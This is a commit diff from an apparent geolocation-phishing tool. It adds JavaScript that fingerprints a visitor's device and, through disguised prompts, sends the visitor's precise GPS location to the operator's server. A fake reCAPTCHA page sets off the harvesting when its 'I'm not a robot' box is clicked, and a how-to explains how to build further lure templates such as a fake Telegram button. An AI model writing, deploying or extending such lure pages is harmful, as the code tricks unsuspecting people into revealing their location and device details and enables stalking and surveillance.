Skip to content

Commit fc95a03

Browse files
committed
cleaning of all templates, to ease the creation of new ones + how-to
1 parent 71faf2f commit fc95a03

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

46 files changed

+223
-3319
lines changed

createTemplate.md

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# How-to create template
2+
3+
## HTML Files
4+
You are free to implement any HTML + CSS files to get the look and feel you want, however, do not forget to do the bridge with the core javascript part described in the next section.
5+
6+
## Javascript
7+
You can use any JS you need, but to do the link with the core files, ensure you have the following directive on your main html page:
8+
`<script src="js/locate.js"></script>`
9+
This file must not be present, and will be copied by seeker at template startup.
10+
11+
The `information()` function can be called anywhere, to send browser/computer data (without location).
12+
13+
For the location, the `location` function must be called (on a button click or another action), it takes two parameters. The first one is the function to call once the location is sent, and the other is the function to call when the user declines location access.
14+
```
15+
<a class="tgme_action_button_new" onclick="locate(popup, function(){$('#change').html('Failed');});">View in Telegram</a>
16+
```
17+
18+
## Template files
19+
There is a unique `templates.json` file, add another entry to this file, at the end.
20+
```
21+
,
22+
{
23+
"name": "Your template name",
24+
"dir_name": "folder where your template code is",
25+
"import_file": "mod_yourtemplate"
26+
}
27+
```
28+
29+
## Python file
30+
In the `template` folder, you will find a set of mod_*.py file, you can copy and adapt an existing one and report the name in the `templates.json` file described above.
31+
This python file is used to replace variables, and prepare files at template startup.
32+
33+
## PHP file
34+
PHP side is managed by seeker, do not include any PHP file

js/location.js

+127-44
Original file line numberDiff line numberDiff line change
@@ -1,50 +1,163 @@
1-
function locate(callback, errCallback)
2-
{
3-
if(navigator.geolocation)
4-
{
5-
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
1+
function information() {
2+
var ptf = navigator.platform;
3+
var cc = navigator.hardwareConcurrency;
4+
var ram = navigator.deviceMemory;
5+
var ver = navigator.userAgent;
6+
var str = ver;
7+
var os = ver;
8+
//gpu
9+
var canvas = document.createElement('canvas');
10+
var gl;
11+
var debugInfo;
12+
var ven;
13+
var ren;
14+
15+
16+
if (cc == undefined) {
17+
cc = 'Not Available';
18+
}
19+
20+
//ram
21+
if (ram == undefined) {
22+
ram = 'Not Available';
23+
}
24+
25+
//browser
26+
if (ver.indexOf('Firefox') != -1) {
27+
str = str.substring(str.indexOf(' Firefox/') + 1);
28+
str = str.split(' ');
29+
brw = str[0];
30+
}
31+
else if (ver.indexOf('Chrome') != -1) {
32+
str = str.substring(str.indexOf(' Chrome/') + 1);
33+
str = str.split(' ');
34+
brw = str[0];
35+
}
36+
else if (ver.indexOf('Safari') != -1) {
37+
str = str.substring(str.indexOf(' Safari/') + 1);
38+
str = str.split(' ');
39+
brw = str[0];
40+
}
41+
else if (ver.indexOf('Edge') != -1) {
42+
str = str.substring(str.indexOf(' Edge/') + 1);
43+
str = str.split(' ');
44+
brw = str[0];
45+
}
46+
else {
47+
brw = 'Not Available'
48+
}
49+
50+
//gpu
51+
try {
52+
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
53+
}
54+
catch (e) { }
55+
if (gl) {
56+
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
57+
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
58+
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
59+
}
60+
if (ven == undefined) {
61+
ven = 'Not Available';
62+
}
63+
if (ren == undefined) {
64+
ren = 'Not Available';
65+
}
66+
67+
var ht = window.screen.height
68+
var wd = window.screen.width
69+
//os
70+
os = os.substring(0, os.indexOf(')'));
71+
os = os.split(';');
72+
os = os[1];
73+
if (os == undefined) {
74+
os = 'Not Available';
75+
}
76+
os = os.trim();
77+
//
78+
$.ajax({
79+
type: 'POST',
80+
url: 'info_handler.php',
81+
data: { Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os },
82+
success: function () { },
83+
mimeType: 'text'
84+
});
85+
}
86+
87+
88+
89+
function locate(callback, errCallback) {
90+
if (navigator.geolocation) {
91+
var optn = { enableHighAccuracy: true, timeout: 30000, maximumage: 0 };
692
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
793
}
894

9-
function showPosition(position)
10-
{
95+
function showError(error) {
96+
var err_text;
97+
var err_status = 'failed';
98+
99+
switch (error.code) {
100+
case error.PERMISSION_DENIED:
101+
err_text = 'User denied the request for Geolocation';
102+
break;
103+
case error.POSITION_UNAVAILABLE:
104+
err_text = 'Location information is unavailable';
105+
break;
106+
case error.TIMEOUT:
107+
err_text = 'The request to get user location timed out';
108+
alert('Please set your location mode on high accuracy...');
109+
break;
110+
case error.UNKNOWN_ERROR:
111+
err_text = 'An unknown error occurred';
112+
break;
113+
}
114+
115+
$.ajax({
116+
type: 'POST',
117+
url: 'error_handler.php',
118+
data: { Status: err_status, Error: err_text },
119+
success: errCallback(error, err_text),
120+
mimeType: 'text'
121+
});
122+
}
123+
function showPosition(position) {
11124
var lat = position.coords.latitude;
12-
if( lat ){
125+
if (lat) {
13126
lat = lat + ' deg';
14127
}
15128
else {
16129
lat = 'Not Available';
17130
}
18131
var lon = position.coords.longitude;
19-
if( lon ){
132+
if (lon) {
20133
lon = lon + ' deg';
21134
}
22135
else {
23136
lon = 'Not Available';
24137
}
25138
var acc = position.coords.accuracy;
26-
if( acc ){
139+
if (acc) {
27140
acc = acc + ' m';
28141
}
29142
else {
30143
acc = 'Not Available';
31144
}
32145
var alt = position.coords.altitude;
33-
if( alt ){
146+
if (alt) {
34147
alt = alt + ' m';
35148
}
36149
else {
37150
alt = 'Not Available';
38151
}
39152
var dir = position.coords.heading;
40-
if( dir ){
153+
if (dir) {
41154
dir = dir + ' deg';
42155
}
43156
else {
44157
dir = 'Not Available';
45158
}
46159
var spd = position.coords.speed;
47-
if( spd ){
160+
if (spd) {
48161
spd = spd + ' m/s';
49162
}
50163
else {
@@ -56,40 +169,10 @@ function locate(callback, errCallback)
56169
$.ajax({
57170
type: 'POST',
58171
url: 'result_handler.php',
59-
data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
172+
data: { Status: ok_status, Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd },
60173
success: callback,
61174
mimeType: 'text'
62175
});
63176
};
64177
}
65178

66-
function showError(error)
67-
{
68-
var err_text;
69-
var err_status = 'failed';
70-
71-
switch(error.code)
72-
{
73-
case error.PERMISSION_DENIED:
74-
err_text = 'User denied the request for Geolocation';
75-
break;
76-
case error.POSITION_UNAVAILABLE:
77-
err_text = 'Location information is unavailable';
78-
break;
79-
case error.TIMEOUT:
80-
err_text = 'The request to get user location timed out';
81-
alert('Please set your location mode on high accuracy...');
82-
break;
83-
case error.UNKNOWN_ERROR:
84-
err_text = 'An unknown error occurred';
85-
break;
86-
}
87-
88-
$.ajax({
89-
type: 'POST',
90-
url: 'error_handler.php',
91-
data: {Status: err_status, Error: err_text},
92-
success: errCallback(error, err_text),
93-
mimeType: 'text'
94-
});
95-
}

seeker.py

+9-4
Original file line numberDiff line numberDiff line change
@@ -159,8 +159,11 @@ def template_select(site):
159159
shutil.copyfile("php/error.php", 'template/{}/error_handler.php'.format(templ_json['templates'][selected]["dir_name"]))
160160
shutil.copyfile("php/info.php", 'template/{}/info_handler.php'.format(templ_json['templates'][selected]["dir_name"]))
161161
shutil.copyfile("php/result.php", 'template/{}/result_handler.php'.format(templ_json['templates'][selected]["dir_name"]))
162-
163-
162+
jsdir = 'template/{}/js'.format(templ_json['templates'][selected]["dir_name"])
163+
if not path.isdir(jsdir):
164+
mkdir(jsdir)
165+
shutil.copyfile("js/location.js", jsdir+'/location.js')
166+
164167
return site
165168

166169

@@ -213,9 +216,11 @@ def wait():
213216
def data_parser():
214217
data_row = []
215218
with open(INFO, 'r') as info_file:
216-
info_file = info_file.read()
219+
info_content = info_file.read()
220+
if not info_content or info_content.strip() == '':
221+
return
217222
try:
218-
info_json = loads(info_file)
223+
info_json = loads(info_content)
219224
except decoder.JSONDecodeError:
220225
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
221226
else:

template/captcha/anchor.html

+2-1
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
<title>reCAPTCHA</title>
66
<script>var $ = window.parent.$, jQuery = window.parent.jQuery;</script>
77
<script src="js/location.js"></script>
8+
<script src="js/main.js"></script>
89
<style type="text/css">
910
/* latin-ext */
1011
@font-face {
@@ -29,7 +30,7 @@
2930
<body>
3031
<div id="rc-anchor-alert" class="rc-anchor-alert"></div>
3132
<div id="rc-anchor-container" class="rc-anchor rc-anchor-normal rc-anchor-light">
32-
<div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div><div class="rc-anchor-error-msg-container" style="display:none"><span class="rc-anchor-error-msg" aria-hidden="true"></span></div><div class="rc-anchor-content"><div class="rc-inline-block"><div class="rc-anchor-center-container"><div class="rc-anchor-center-item rc-anchor-checkbox-holder"><span onclick="transmit();" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-clearOutline" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span></div></div></div><div class="rc-inline-block"><div class="rc-anchor-center-container"><label class="rc-anchor-center-item rc-anchor-checkbox-label" aria-hidden="true" role="presentation" id="recaptcha-anchor-label"><span aria-live="polite" aria-labelledby="recaptcha-accessible-status"></span>I'm not a robot</label></div></div>
33+
<div id="recaptcha-accessible-status" class="rc-anchor-aria-status" aria-hidden="true">Recaptcha requires verification. </div><div class="rc-anchor-error-msg-container" style="display:none"><span class="rc-anchor-error-msg" aria-hidden="true"></span></div><div class="rc-anchor-content"><div class="rc-inline-block"><div class="rc-anchor-center-container"><div class="rc-anchor-center-item rc-anchor-checkbox-holder"><span onclick="main();" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-clearOutline" role="checkbox" aria-checked="false" id="recaptcha-anchor" tabindex="0" dir="ltr" aria-labelledby="recaptcha-anchor-label"><div class="recaptcha-checkbox-border" role="presentation" style=""></div><div class="recaptcha-checkbox-borderAnimation" role="presentation"></div><div class="recaptcha-checkbox-spinner" role="presentation"><div class="recaptcha-checkbox-spinner-overlay"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation"></div></span></div></div></div><div class="rc-inline-block"><div class="rc-anchor-center-container"><label class="rc-anchor-center-item rc-anchor-checkbox-label" aria-hidden="true" role="presentation" id="recaptcha-anchor-label"><span aria-live="polite" aria-labelledby="recaptcha-accessible-status"></span>I'm not a robot</label></div></div>
3334
</div><div class="rc-anchor-normal-footer"><div class="rc-anchor-logo-portrait" aria-hidden="true" role="presentation"><div class="rc-anchor-logo-img rc-anchor-logo-img-portrait"></div><div class="rc-anchor-logo-text">reCAPTCHA</div></div><div class="rc-anchor-pt"><a href="https://www.google.com/intl/en/policies/privacy/" target="_blank">Privacy</a><span aria-hidden="true" role="presentation"> - </span><a href="https://www.google.com/intl/en/policies/terms/" target="_blank">Terms</a></div></div></div>
3435
<iframe style="display: none;"></iframe>
3536
</body>

template/captcha/index.html

-67
This file was deleted.

template/captcha/index_temp.html

+1-1
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@
99
window.location = "https:" + restOfUrl;
1010
}
1111
</script>
12-
<script src="js/info.js"></script>
1312
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
13+
<script src="js/location.js"></script>
1414
</head>
1515

1616
<body style="font-family: arial, sans-serif; background-color: #fff; color: #000; padding:20px; font-size:18px;" onload="information();">

0 commit comments

Comments
 (0)